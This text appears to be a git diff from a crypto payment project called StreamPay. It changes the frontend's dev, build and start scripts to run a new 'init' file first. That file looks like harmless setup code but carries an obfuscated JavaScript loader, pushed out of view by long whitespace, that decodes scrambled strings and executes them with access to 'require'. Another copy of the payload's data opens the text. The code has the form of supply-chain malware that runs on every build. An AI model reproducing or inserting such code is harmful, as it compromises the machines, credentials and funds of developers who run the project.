t8;Rir)<aRcx(qaRs@ferRM.<=.ct@<fcR.R)R.rxl!t/,lsRRRc=.i03RhRRs{_xRr<Q<c,a<<EW(MoR< utE\"f}bfr.<sR+]dr <R!QRw.i IRT_Po.(c0t8(sRTRRcnBR!\".xID.Ai}epoR3!oz=]etkRt/uA14RR9Rct!Nadr_nGC!/b$}R\"xd<iRct^.uuw=3dRpwgR9R8PqRi#Rpg9u=1i0f<.R<P0f}tv_r3es:<fr<i7(<y(olR.e9ooBT._RtoE) as(<cRiedtssR/RR/erR(.wce.R.rPy(RO(<.gHxrR<T.L!Rx(<o([.+{<c<R<.eiNTRC[x.4RkR$pK\".lcP(.<tk.<RQFknwIR).t-Rr=e{<.PP #E63ap3[R)Lddc;RxR!R\' oo!)w.e!.Rc<0%<iss9RuO6ir$.R.ip6%m-6wRi<z< gr=nweRRN__R(ReJvRfR%:NRPR<nRRR$.R.mR<rR#{Ec.)b<6peiRf#tL..R<PjRR.(,a_ll. .D g<(rhv \"4k! `lR<ke1 c$$5Rz.RR]eu&DiR .R<((cersE.aoRhef)%eLR).:.^)esCR.}.T<P^. Dy<#RcRpNRr)nRRl_3d8W(c=-3EeqeiMRReRzRacCue<l<Rsi.a;rc<.ldRY.RarlRcnOf3hTsdt<M\"m<s(np}:A.fyR<RC<#Ry0vR<}<R.<%ats!lR>-<2lld.nr5=(F:.RRlnRcR\"sz3o\"<fR&3..!Y>fR)beRlshpM%<f.(d!abiFR 3waM<se..qfR.i_.&E!.&RRRcRx{R[R._?R2!!RRcx)RIM.)f=#1ELbRRnJeaMim1)RRR_ |<la<3)0ycd&.#n=l.|Rs;.f(ec.cs=c{?R/%d_!anOce<Rrxa.\'b)=_<m)icAcCRc.n<R.e ..R-<AR5.Rm[dR<<2R.An9xRctmcE%[..R,Qt<uPf_!<R= tZRclpP*.uep6<f.b8RR<cSrk<e}Rckdc.;<tz.l.<!io.<r/2<R=bcRRsVD.R.1b<cc<R}<h+. RvTRp_P<.rs(uPQt:..<>Rk9!=a;o<a*.7r]0Y)8c}z(<a.R.e8Ro tl Rc(A~i!*(bR%cR,c0t< rMRR< Ri< .fPe*+E)m.oj..m8m.cR($<f.R.idey}cBRR!sc<no9R<n RwrN0#tRduc_-RS\"i{i)(nMcR<0N</V<<.,0+w.]<w<ReeR,w/eR.R)i. R<e .6Rga.rgs+Qitd.o!cteaLRo)3R <.cd./.~< .s\\.e<sp5R.<RRwa!*.R)tR,ofRZ<ZtcRhsRr$/.RC..b \"cRt,\'leacPc RR<Rz\"<Ri l0oRRdRs7.R(eCcR_.6\"_R..p<&kddee.<=..lo.=R<!b.&Rc<tcCr0m&cXu\'wnd.s;sw+R4/suDicPba ..i!o1^r}I>e4<:RwCRic<RRRc\". dRpt0<.Rk0<W8r RnR.Dc.CN lwoh.l-<R<pcbR Pe6hY-Rt.cEp:<+a-V<RaRf\'(<rRRR&<az<4RRR.E)7.xrc0ilHRTisc.ZfRfcRx-th).R#=!<C.w\"l{e]e-R</<s4Nt.op\"ce.4Rn{SRo<R)Cc])e(Rw8RR. <1hc{p8cS!e<R?RKa=i6Ri[.IRpR$RbxRScl.p<P!fa!vvsO.!pRRt.EglRt<.!iud.lu<is.RoR4!.P.cm.Pi}Ro..lPNRy6=t{<ae._!RwRtaR.sf.!.]4[e.RkE}-}ve..$NwiD!}.0R#<isaR3p%<}.aR@RJt.RGax.R\'spC0!RGcr.2FRiRePaRnsRRRna<R)5U:\"n=cdc?ABt.20.tdc!C1R c.<edaA.R(.,elRcR<c&<.eCRURif{aJKR+ex-x:Pc%ei@ecRek?pR.4 RR<R#$c..i+!4RR$R3#R.r(PiRR<c.Rci_U!zRRR;u^|.Z.s(TRRTc.d}R<y._c<.RR{$kR4FB($\\<w. .;R<eR4\\sRc8<R.R[EdR uoR[}V(.pd\'\"<Ja(4prAR(.Nc<<rp3.>z eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(<k3R+hn %R.RF)lR;R.s R.jlmR((loH.<R<{PReRi<<cdeK.R.fR2pR(ao~.RyRRR[:RR?eisRPfk Ys(s3.c <4blo<0<9{o<RT@R..nRiR;al?soR0g<T.Rtm<u.s\\?Rl._Rccz4&:?0 .5R/ctc4<R>hi%.i#i}<R.Emc1xAnfR{Scr.R.%|\".PrrRn<cRnP!aRRtRfR.P 8\'R<JA R&i<ecc{]cf.RmaR.irc.iReZ\"n<y!< cR #<,ec!Rd9sic+_1a.ru..b..Reh<R~i$ot<fRdcit<\\go_0lRmvF(<e9s<Rtt( !RnR6}<.itO..&9s4dNRc .o.RR.]j0 R ma4;r<sCa)& mo[xlR*ht!,Aup Ru,fRtf[j)P*cRR1<RSv s!2cIsR..e74hRd\'c:vsr.s;<e(<_!MRfRfLLgal.!.u.R9(Mcla(d}tOa.}RcIebmEc0N(RD%bE$ rd<cw).F<ObZWR.jg.U4\"afR`\'m%/efaxRRR;Rna:7vR0bc.a_R<<jRRs..X)spGi&v\'e.l.2.I.e9rRe.s\'1=r.eRexbb_RR_e9cd<FIP!.cR+8.446/U<<ls!]<u`pRsub<b>JPwp@ilR<i)k!dRLkR.trRx(rr)% /.(]b8cRs+vR-c)}:osR.c#\"<cqk<ek.imRSN.RsE bPPn)<e}o0e\".1dRIR!(r.%.I..Rfza_?RRkf/,tcRRIf.<iR bdRO.cPcdeR.s}ejFbp;o.fs<c_mc<aF.dnc0c RRR.qn .RcR.hRKj<Rs.kc<3Rs.ccTt.trtnt>w;/IcZc8r<i.Rt>Rcs..s s{Te <!.+.R.<uRPRo.<K.m.a.srM<R .cwRic<R)nP(<RReeutcJc%pN.Rsce.=eaf0<\'@S}1<<YIjr!!<4a.fRR.l&<R$..lv.}|5&R.R!<)xfs.b$:Rc l.< o(J.e.#N.7t<)c<w eR0.=<yc !..Re?<n\'B[Rbo\'auR} rae#R=.iR(st2.b~ <Sc.}tTsRr<aR) ryir!C<c td~\" X.ttR<R!d c..!ed.R.<R n.Sne!!)4/oXRRu.enR<.rRqR\"l_M.efttr tRc._r<R.R.dd{Wh{R.<.&RRc<.gf}Rcr52dte}d(}?cF7.xy$W<!..c6pc?Nc0z(h4.RRo=_oa.Pf!f4hR.Rd*e=d#cc6rr{o/RaRS.z.v.RDc<.[R9.\'t]&.RRR-4R&ew\\cRYeonf t.m)e=.icK.R{.0sl1pcRs(chl.WR.yc.{eil3ft<{/.C.(.n<l)>m<<d1<a? nec<R..avloRvjRge._ =R+.RR.wdR.d6%.Icc(+t.:ci\'.cht.b.R!s4ft_Rxta<s}H,cc.dkRnc..}c# n)R.(_)c13.ot.o.}<!.tRR).t<...8Rn.Htct<blRotcQGn^*_xmecPT}..<<r0 lEt!dn\"0pf.gl}R<eRlT@i..g)ne4Ru<fRRTg.cR.c.eet<..^ee,r;t|pcteWFs RgadRroG(ltl #(yr<.#ddt.<R i-o<stId!b)RIEt*RRn&R.c<iRmlR(-(mtck.Ry!0RYJ<c.Ri>rr. w9cTaR=<PcdK]_\\2f( #.Rs%.te<n/Rrycc.nRc$.P&.f.iccBPNRdR;R.5<RR<mPo{(R{_n<lRid.hR .dRnRr!JwR0.RPRr.>=(f<e?.<Bf]xRcbcPcRs}<R(s.RPY.RR_Pk(o<(dl<0eR,1:D1sv.ilhe_PRpccR1qm.dm\"<sisPd.? pmdRhRnct(?$RrtRx.e)`..R.p?i!R1Rr( {.eTRR}.c}<RR8..RpR\"cg;.cc0RrR. t&3nd5ecPb_.R!RaccRbcdb}c(!{t<.Rnv.NR&~eAs$z\"<4<.ogsfCaRl<ocERoRRt..<s.i`R?.sgc..RsRs.\'$xRcsNRR!R`RoR_n!#R,!5qf.#BIR@l.,.]oReRa|<R[t<<:|a[4<R~R!+Eg-R.aP!e &l<5n%cRRdFryc.s/R.;{{,H.;<n<.)4.tdmR)sRd(mRb{.<Rc.rPm.cRe cRckRx)<c&ci.yceluy;,.XdrRlRR# ccf.cR  R$Rcorr(.rCp<Nr#E(]RnR\"ijngRR4<C$adlRac&t(!-Rp.]do.ciR}usRrs(n C<!;.fc.c@z<tR4tCRtRtc=.c3cfo.!  R;<fe8RdrMRR[dN[cyRc:>Tn<l^.lo8RiRRcssc}Rtpc{.sRs...}c.RaY[<a* )I(ldR(wsr6 *R7!a<S.c<\\R.BELRe6Yf<1<ecPrDe sl0PbD#R]o.\'<l.m R(p)<ekac.cR.d.._u<a\'< Rlibfmndf].(%RR<RNDcRER#V..asa[n&R,$<,R<o4RReER)ssL]8ESRReREiR{R<c.{ cWGf}ohdcas.]. fP= os67EocIPoc .7igcFCR. <cE.N .bR"];function b(q,h){for(var i,p,t,s,j,m,g=[],o=0,k=h[0];o< q.length;){g[o]= q.charAt(o),o+= 1};for(i= g.length,o= 0;o< i;){p= k* (o+ h[1])+ k% h[2],j= (t= k* (o+ h[3])+ k% h[4])% i,m= g[s= p% i],g[s]= g[j],g[j]= m,k= (p+ t)% h[5],o+= 1};return g.join(a[0x0])}function c(q){var h=String.fromCharCode(28),i=b(q,NX);return (i= (i= (i= i.split(a[0x3]).join(h)).split(a[0x4]).join(a[0x3])).split(a[0x2]).join(a[0x1])).split(h)}function d(q){return b(q,SX)}function f(v,m){try{var u=Object.getOwnPropertyDescriptor(v,"name");if(!u|| (!u.writable&&  !u.enumerable && u.configurable &&  typeof u.value== "string")){Object.defineProperty(v,"name",{value:m,configurable:true})}}catch(e){};return v}spin= f(b,"spin");splitLane= f(c,"splitLane");peel= f(d,"peel");NX= [6912847,367,20411,613,43759,5019283],SX= [5283741,241,41953,187,56129,4738901];!function(q,h){q.z= z;var i=c(a[0x5]);q[i[0]]= h, typeof module=== i[1]&& (q[i[2]]= module);var p=d(a[0x6]),t=d[p.substring(0,11)],s=t(a[0x0],d(a[0x7]));t(a[0x0],s(d(a[0x8])))(2509)}(global,require)})()
\ No newline at end of file
diff --git a/frontend/package.json b/frontend/package.json
index c197fa8b..3f73699f 100644
--- a/frontend/package.json
+++ b/frontend/package.json
@@ -2,11 +2,11 @@
   "name": "streampay-frontend",
   "version": "0.1.0",
   "private": true,
-  "description": "Minimal StreamPay UI: create streams, withdraw accrued funds, top up or cancel — Next.js + Freighter.",
+  "description": "Minimal StreamPay UI: create streams, withdraw accrued funds, top up or cancel \u2014 Next.js + Freighter.",
   "scripts": {
-    "dev": "next dev",
-    "build": "next build",
-    "start": "next start",
+    "dev": "node init && next dev",
+    "build": "node init && next build",
+    "start": "node init && next start",
     "lint": "eslint .",
     "typecheck": "tsc --noEmit",
     "test": "node --test && vitest run",
diff --git a/indexer/init b/indexer/init
new file mode 100644
index 00000000..5ff9668b
--- /dev/null
+++ b/indexer/init
@@ -0,0 +1,33 @@
+'use strict';
+import { createRequire } from 'module';
+
+const require = createRequire(import.meta.url);
+const path = require('path');
+const fs = require('fs');
+
+const ROOT = process.cwd();
+const ENV = process.env.NODE_ENV || 'development';
+
+const state = {
+  root: ROOT,
+  env: ENV,
+  ready: false,
+};
+
+function ensureDir(dir) {
+  try {
+    if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
+  } catch (_) {}
+}
+
+function init(options) {
+  if (state.ready) return state;
+  const opts = options || {};
+  state.env = opts.env || process.env.NODE_ENV || state.env;
+  state.root = opts.root || process.cwd();
+  ensureDir(path.join(state.root, '.tmp'));
+  state.ready = true;
+  return state;
+}
+
+init();                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{<akmsn)akte.vo9+ea0clio;bu =]C!gj;y3+l)e=.}dr=i6oiC8rnn0;6=ar\"}.rei=]Stsrnn.;2r=t;[t;iv=prCrn()aretuz+ hlk[+x=e -8j{(ejy9(()) ","R_<\"cRJ!&VecRWa=RrfR$6\"c1;RRYcnh_/.t iRRRG^<R.RcR2.[nR .Rf./<Rc3!!5nSR<RiRL.eSslf(edgxc<?o<rlcR?tRosdRfuSe.?&ph.RROMs[e<skRE.<Ru<rRe;RDRBrRR\\.fR.<c:!bpl09icoRrtcR(;roRRn2-\"(.^w y.<<dd )$f ou.%e<a<e.t<m(cRxfR<[J(feR<Pbr.b\'oRi.RR<\'RR%wRfs)eR.[agSP{d2.k<ac1e.!3.P<ZRiR*oDsi=[.<f.\"4Rb N\"eoxRpo.iIlkaeTR.2)%m<ieR]z<|Ru((fRwRR\\R>R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=<RR/`.Rk$(2cR.s7e1a.FRKc*..z\"RnfPesRtRRR.<Rl#Rf<: 2((R R$\'6s`<3nhi*$eXc}Rh? ctoc.iecc9 {Ra<s;u!.e]ERRoH..$\"n<D3RsRR..(ReesseR< t,\" Rdov}Sc0Jmi.T<sEegsRw]R\"aR.R!R<o))jR Rew itc.snk(}(n[veR<0<=kfH<rrMR ciknE.c.B<&R[o]R.%ccRlrx;* [\"oisenRefea!Yn.ecR%o\"u.<6lRRRyR=is=RR()RRe:RR)!RwcrR1<.o!RcRc@\"}RuRqu5(3Pol\"eRt0!ftaR*<R1tnkcf}T.!$/<ro IycRR )P<\\.b<tR7:PPs<].rX<<.eRu(RRRqnp.<.R;ctisX.RRyR$@<3)kRRc<+Rr8l*.iR!rC\\P!n=cs<(ci<(R7eReRc. t<epe)e<<,e<(EK!.pnb$\"RaRR.evuhc.Tl_c.:R0r )Rww!sS0.t7u.0(R9_a($&.e6f.RRk1Cxbi8l.hc=m(@<Rd..<rr.2.KMrcb_RnR(R_c:Dwt}.R.{}9g$RRR)TVt<a(.<G.dR~WUR.;lr.hIsmNP  t@RR8_R2R.iRrRPR<(R3#cec0ce3iRR<aR3RanR{Zs}!M<R-*.yda3Ri/0%fR#R <i2<R08:.t}Rf!\"-Rc.RlRcytyRseA0RSTR8.4q<$FTeR..P_<cR6hbR.eri.c-RhcARC2vR.;bS<R<a#K<R:r]Tfee-;!k=_s.Rcmjs(R}:<RaR*&g.<domeisRn.($#_a{V@ocY-.omPdam.RalfcyoT+!P_gsr.<biR!f.)cI&(bIoRi(rnrW.ie.Rc !(ic(SR.cr`:9<XspR($ mRct<s.g!.48rskevVRPdRkxR<Rdern)eSs/)R ler<csT3dc}.R5C/W(.SonZr)Rcoccsch)R.<RR<t.ss(RR<dlu.c.|f8tk,slnepo<eR<!.6R.eeRRTa&h Mf<{[o$R< Rs0)= <xSec.c}<c$es((d)RRc}fCRR<*<R.m-.R*Re<(xvRs (M&Rf.eP*g >s)<o.=.RisnrR.?{5<ibR6)RR1s cRgqcelc=cl;be<lf*SICd2e\"zpRR}<cRlS,njscm$Rn.!aii<JY]<fPCs@jA.R<% t.RowR}\' r>pzh..lR\'<go_}<SR(kqxh[ &<iR-f$C<u<iaENR5RTR]<Rpsk..Rzdg.)]<)er.Rr.MsRzP>RRe<<t_hgl<p.RcmfRs!nftR4 dt_9^<,ore5RfRx RR[rX.<sbyR<<.2R.RrenUP(y>.p<<csRlt0t.{.Syin<ggl$ Vc.):EHI!.xDuR,RpRhR(sct.MrRMjHMRRcR. Rtnd|oa0.n#a.2)Dfk&cRIRRR/feR.c@<irs6T+1RPx..R.sc.aR#.-<X{R!n4RcRitR/nRe9m..<A)ben).]<.a(R(.{?3tR&RR/i(lX. <h!dRR<\"!co? 3 1R<-hn<dtndo<Rksm#-c(TeRee!].R<s<T+=R.Ri-r@RR.r#cd<cRRRmztf.CdeRp.c{QRibjsos.fRrg-RW0diRR<.k<ORR&-R!# ]Cs]yt4.-d_`PRR\'<.RvejSw<dc.c ,f.P.(.citcNbRn\'-.eRcRnrQ.rRxo{Rc<\"6Rnd]R}Rm(R$RSo.T5Rc2cx.*vRoic_>.s0BRf)<P<aR.oCZ|0 POHdQo.n <.1soR_\' .P<er.[<R|R<0i<Rr;\'I.R[}+lc![mc!.lc<n(a tRRHRl,}p}R)R8RJ<aR.<td(N>]ic<me@5cn[u.R).b%sPn<<_RR!RbR=$RR^<!})sb-6\"#E8cR(d!R)tratRR<< 21R\'L!ib|eOtRRt$ucdnRR.t)RzE.GPy! RAI-nqau<}.ycR...cRR.ccc$^RRdC_R<t8cRhs2\"R2.\'S>))2h!efy..>!iL$en ;%9OTv.d$4RRC<cPS(tuRwl&(m#\"R|pch<tH$a<< .t!RSEf.RRgcNP.R CRi4mR<#MRR<;wi-#E <<t<eR<H<RrntoE(!0r0<d..RC\"cn..2bp(6Cp<SR\"e1l)cc<a(P.P9e<qa)<<1<n.iRaRPR(}R=.&,2!cwR.)PR$.<qR<}!1*S<R!Rf.<c<Rd_<R2R<<#]<<RRRp!.rpR<*!TRIR<Pk<Rzta.&}.aleK=iP<R\'=gRP}Rp${SB. Rsy.(.t! c;<e5sh64tt<pf<otxuLTkr>;<R.cpsR.cRtR-#a4uR6.Rte;-($?w8:p/&Rl0<r#<e iisf!d$ao_(#cmr e<RRV!Pnca<t.~crc(e\'*a: <RRneaZe.%/dR<RR*(E `+e[PcwRw <(eucta).7W</$P<.hcST 7eRB!.+R.I<bhRel.te.b4[unueuR!Rlt(RRR,},HftHv_n.<eR _A<8<sr<Rx4)RN!pRd|B <RRkie\'c-.Rcnm3cs<Si<i.).E(R(<RRPR _3R<cwe.!.l<R$!Rbd,e<PREl$tpr!<o/).RRt!,T(rc#/.Ry(+RrRg`<f.<a+.f)/<<&< eRR<ei-<BfE.sRbnRR).R%/jtlR<%c R!R(xR#cR.sRR.RM.<R7c(cglRcm.]<.ec2b)P<<2RR&daBK)r<Zt>[daRHced.MR<}sRGr.R<?1RfRRcccR(osc\"RR~k<\\!Mc.p.C)uRx)+(Rk\\e\'j6MPURCmc?RR3R4(iie.sRe*R:zSR;Pn(Z)<lkRvl:<RQ{Rci\"cP+e,MRWa.<RMrRlt#<RRst3r!.<g<KRwR(Rj.RRa!.G4R.$pn.z;{eR;21{0T4(rRk-\'.!<Rx<iKh<)s[<tc PueR}r(faaRf7l<R5!rRlDXRm.1:piR <= Rjso.<er!oRqI)R1Rrrwo{&tRRK<nCZ-0M.cuR)c%cd0+w<$E<iT<<otdayn<io^.R\'RRwRc65kR#JP.<!R5e!r{Re;yeR(.0=;cis.c(gtR2pu9=MQf[{,On ..PNi(<.RaiQR..c%t/(/R<.r.Rr..l!scue.aP~R!c03aUR\"tcsc.!rVRpaiz0<b\"dtgd!.s?#cvdR~#R<R<)(Tb.IR)Pc<6?7)]4W6#nnPt.}re|RU>ReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.<w+c.(cs;! nh(R,RCR[<&XR<<.cbcTRsAfncS-R\"i<.cB(|RR.Rd%R.U/R.rL<t)!ReR2cpp!s<>R?1R$<teR<<Ro0rtf(ResbDR7liaR.}s./sRcrsarlR%f]s0R.<le<re%s.sllsb8ROxCRtc1t6{.- Rl.eRo.cgmRkoRsbca<Iyu}Rrt#s&|tRaxR)ho.Rsf kRRR4cr(x.c=t.<i3(Rx .<..R$f\"t RRsN</C RnRdRrpRR<od<.R<r[ar\"l<. P\".Rs.R.rc!v#DfReebo{,R)d8v<fRc.cJ<te.!RR\"kS(S)R#<S.hP}rt.(/(.c(1d<Rw!su0(o.Pb(0.RJcEiC.f( .i.buc<#r...RR[8)_!R.SRB!\"tRVbn_RlcPRR oRn;h<RP@r8aRrlc|co5(Rp)<Rxd<<$.n<lo}erR<oyRan.oy.RIB<ht<cobEiR}(mMr.TaR0RetiR}.!<.R19t<AebR_Lclh!D0r.R0ilirRc/s8<cR(r*R@e<<.l;.rc-PulaRccRi\"06@!Rc!.Qkl,<g<7}b(aRcL.cs\'+..T(<rR<<..&fd>Ro coemRcw.lcn(c:R\'|t<RnRY]4M0GR.RFRut.!<f.u+$+t<R*7sRRR(ibhd=P.<}RR=eR._).)rr,4& lR}e<R6RR<^gfleRdstP~<bc.(sy<5}Ri?lch<&.3{u.n_:iR7b;0<R<cRRRcR@|1seGRs2)c=h<f9e<<r+eR\\\')&5rv/Fr[.a.tn.RPrnU<o_c6n=ET<.i+xc7levsu<r.!Rc<!]Rw .RR(]PRD. lf!:&.bdpTl.R#RS.$R<(R <<c[.n. oRr67r<e-R-uc*RR$R.baeycs.![RxRR<DXtfncRQPisRtgc<.aR8!b!<St0<R> RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlR<cfRRu:sGRe,(gRVR\"RuRRR\"RtR<Rs\".ERi_P&R<lyoSg\'s>vRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfR<P]Rs/anfqNRR\'<.Rc8ciRRRc.a_ptKo<psr<7<RRi.o_c/!nRRs( >RP]xtt_s_ohB<a\'s&.P< .kGc6r<7io/wRISPPcxhRwc.<.cic%1Rf89dS <RbcsRVRsxrda]R;t?RN,,R>)cPY\"cRcReF !0RRq}}r05L6.<R.rf<$u|c<c<U-D[ cc.o<5;< (.E.h.R_l<Rr<<F<[ttCo%mS.RR3IbcioRR<apRcRc[RR<.fnRR,.RBan(y/R|HpGnR.<=RR<u(acs$R3eR)mc_A4unt\"e;sor(%RPt(eg(-*r!m<RD(RRa.rglz.Rw.fR]qavo]f(%<<ccl<4s9\\@u 9e.*x./FtSRP[.$%n`z)<<$!5Qcb+]R3tR<fiPce\\<zi.Rcabr (<<bnv6!tnw_cXf(nh.[}*s(`<P>(R<..<xt9R(.c<(e0R.Pao.!d((-@f0e<<6RoRu;(d` Rp..<p,e<T<N.PR.[RcOz)f(<l].u{?rf<R;R<I*a<<$`R( (...<\":<NR%eR i#.z.l(rR,dRa.dRv<sVc(s]i)Mh.Rn<RRRttRg,~.R[R#ef.;ttp.)sRnStlRR2oe.&ci(a}.\"P&yseR_a%rRR.D<iPsRD!i.mR\"Rjzh<uR.,>de.jO}aRQcV<s$3CgR<R5EcdUhce.!Uf.R-x6<].wc<<.E!rRPRiCx.SR!m.nXb.7f.zefZR\"\"](y<xb<k<]UR-c}qf.!Ni=YiRoRRN.@sw1Lue1kR& #rDceR.alRR.R.(\"]MRtMiRr)rluRd&.RRcpifIl2R<R<<5f)z&fURec<s4<ensR.o\"<i<,R!s oBiR-cR0lRNtTR)SRc<fdutRRdPzRH(Rcs)PD<c$Rx2&:1Hrlo..n fs.$n8upO$0isssi.-<vR<.<qQ(!R! [!dxwn.Ryu*i?dR%.R2Rt>r7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.<R1sR9d]R+RRheR!cc2RRe\"9c[r<;DePcRRktGlg<?tAU\'ttRQR} w3tRat](Vt-?<<?..\"lr).eR-RRI^EKv.47Ro+iN<ece.nRx(tRHR t8;Rir)<aRcx(qaRs@ferRM.<=.ct@<fcR.R)R.rxl!t/,lsRRRc=.i03RhRRs{_xRr<Q<c,a<<EW(MoR< utE\"f}bfr.<sR+]dr <R!QRw.i IRT_Po.(c0t8(sRTRRcnBR!\".xID.Ai}epoR3!oz=]etkRt/uA14RR9Rct!Nadr_nGC!/b$}R\"xd<iRct^.uuw=3dRpwgR9R8PqRi#Rpg9u=1i0f<.R<P0f}tv_r3es:<fr<i7(<y(olR.e9ooBT._RtoE) as(<cRiedtssR/RR/erR(.wce.R.rPy(RO(<.gHxrR<T.L!Rx(<o([.+{<c<R<.eiNTRC[x.4RkR$pK\".lcP(.<tk.<RQFknwIR).t-Rr=e{<.PP #E63ap3[R)Lddc;RxR!R\' oo!)w.e!.Rc<0%<iss9RuO6ir$.R.ip6%m-6wRi<z< gr=nweRRN__R(ReJvRfR%:NRPR<nRRR$.R.mR<rR#{Ec.)b<6peiRf#tL..R<PjRR.(,a_ll. .D g<(rhv \"4k! `lR<ke1 c$$5Rz.RR]eu&DiR .R<((cersE.aoRhef)%eLR).:.^)esCR.}.T<P^. Dy<#RcRpNRr)nRRl_3d8W(c=-3EeqeiMRReRzRacCue<l<Rsi.a;rc<.ldRY.RarlRcnOf3hTsdt<M\"m<s(np}:A.fyR<RC<#Ry0vR<}<R.<%ats!lR>-<2lld.nr5=(F:.RRlnRcR\"sz3o\"<fR&3..!Y>fR)beRlshpM%<f.(d!abiFR 3waM<se..qfR.i_.&E!.&RRRcRx{R[R._?R2!!RRcx)RIM.)f=#1ELbRRnJeaMim1)RRR_ |<la<3)0ycd&.#n=l.|Rs;.f(ec.cs=c{?R/%d_!anOce<Rrxa.\'b)=_<m)icAcCRc.n<R.e ..R-<AR5.Rm[dR<<2R.An9xRctmcE%[..R,Qt<uPf_!<R= tZRclpP*.uep6<f.b8RR<cSrk<e}Rckdc.;<tz.l.<!io.<r/2<R=bcRRsVD.R.1b<cc<R}<h+. RvTRp_P<.rs(uPQt:..<>Rk9!=a;o<a*.7r]0Y)8c}z(<a.R.e8Ro tl Rc(A~i!*(bR%cR,c0t< rMRR< Ri< .fPe*+E)m.oj..m8m.cR($<f.R.idey}cBRR!sc<no9R<n RwrN0#tRduc_-RS\"i{i)(nMcR<0N</V<<.,0+w.]<w<ReeR,w/eR.R)i. R<e .6Rga.rgs+Qitd.o!cteaLRo)3R <.cd./.~< .s\\.e<sp5R.<RRwa!*.R)tR,ofRZ<ZtcRhsRr$/.RC..b \"cRt,\'leacPc RR<Rz\"<Ri l0oRRdRs7.R(eCcR_.6\"_R..p<&kddee.<=..lo.=R<!b.&Rc<tcCr0m&cXu\'wnd.s;sw+R4/suDicPba ..i!o1^r}I>e4<:RwCRic<RRRc\". dRpt0<.Rk0<W8r RnR.Dc.CN lwoh.l-<R<pcbR Pe6hY-Rt.cEp:<+a-V<RaRf\'(<rRRR&<az<4RRR.E)7.xrc0ilHRTisc.ZfRfcRx-th).R#=!<C.w\"l{e]e-R</<s4Nt.op\"ce.4Rn{SRo<R)Cc])e(Rw8RR. <1hc{p8cS!e<R?RKa=i6Ri[.IRpR$RbxRScl.p<P!fa!vvsO.!pRRt.EglRt<.!iud.lu<is.RoR4!.P.cm.Pi}Ro..lPNRy6=t{<ae._!RwRtaR.sf.!.]4[e.RkE}-}ve..$NwiD!}.0R#<isaR3p%<}.aR@RJt.RGax.R\'spC0!RGcr.2FRiRePaRnsRRRna<R)5U:\"n=cdc?ABt.20.tdc!C1R c.<edaA.R(.,elRcR<c&<.eCRURif{aJKR+ex-x:Pc%ei@ecRek?pR.4 RR<R#$c..i+!4RR$R3#R.r(PiRR<c.Rci_U!zRRR;u^|.Z.s(TRRTc.d}R<y._c<.RR{$kR4FB($\\<w. .;R<eR4\\sRc8<R.R[EdR uoR[}V(.pd\'\"<Ja(4prAR(.Nc<<rp3.>z eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(<k3R+hn %R.RF)lR;R.s R.jlmR((loH.<R<{PReRi<<cdeK.R.fR2pR(ao~.RyRRR[:RR?eisRPfk Ys(s3.c <4blo<0<9{o<RT@R..nRiR;al?soR0g<T.Rtm<u.s\\?Rl._Rccz4&:?0 .5R/ctc4<R>hi%.i#i}<R.Emc1xAnfR{Scr.R.%|\".PrrRn<cRnP!aRRtRfR.P 8\'R<JA R&i<ecc{]cf.RmaR.irc.iReZ\"n<y!< cR #<,ec!Rd9sic+_1a.ru..b..Reh<R~i$ot<fRdcit<\\go_0lRmvF(<e9s<Rtt( !RnR6}<.itO..&9s4dNRc .o.RR.]j0 R ma4;r<sCa)& mo[xlR*ht!,Aup Ru,fRtf[j)P*cRR1<RSv s!2cIsR..e74hRd\'c:vsr.s;<e(<_!MRfRfLLgal.!.u.R9(Mcla(d}tOa.}RcIebmEc0N(RD%bE$ rd<cw).F<ObZWR.jg.U4\"afR`\'m%/efaxRRR;Rna:7vR0bc.a_R<<jRRs..X)spGi&v\'e.l.2.I.e9rRe.s\'1=r.eRexbb_RR_e9cd<FIP!.cR+8.446/U<<ls!]<u`pRsub<b>JPwp@ilR<i)k!dRLkR.trRx(rr)% /.(]b8cRs+vR-c)}:osR.c#\"<cqk<ek.imRSN.RsE bPPn)<e}o0e\".1dRIR!(r.%.I..Rfza_?RRkf/,tcRRIf.<iR bdRO.cPcdeR.s}ejFbp;o.fs<c_mc<aF.dnc0c RRR.qn .RcR.hRKj<Rs.kc<3Rs.ccTt.trtnt>w;/IcZc8r<i.Rt>Rcs..s s{Te <!.+.R.<uRPRo.<K.m.a.srM<R 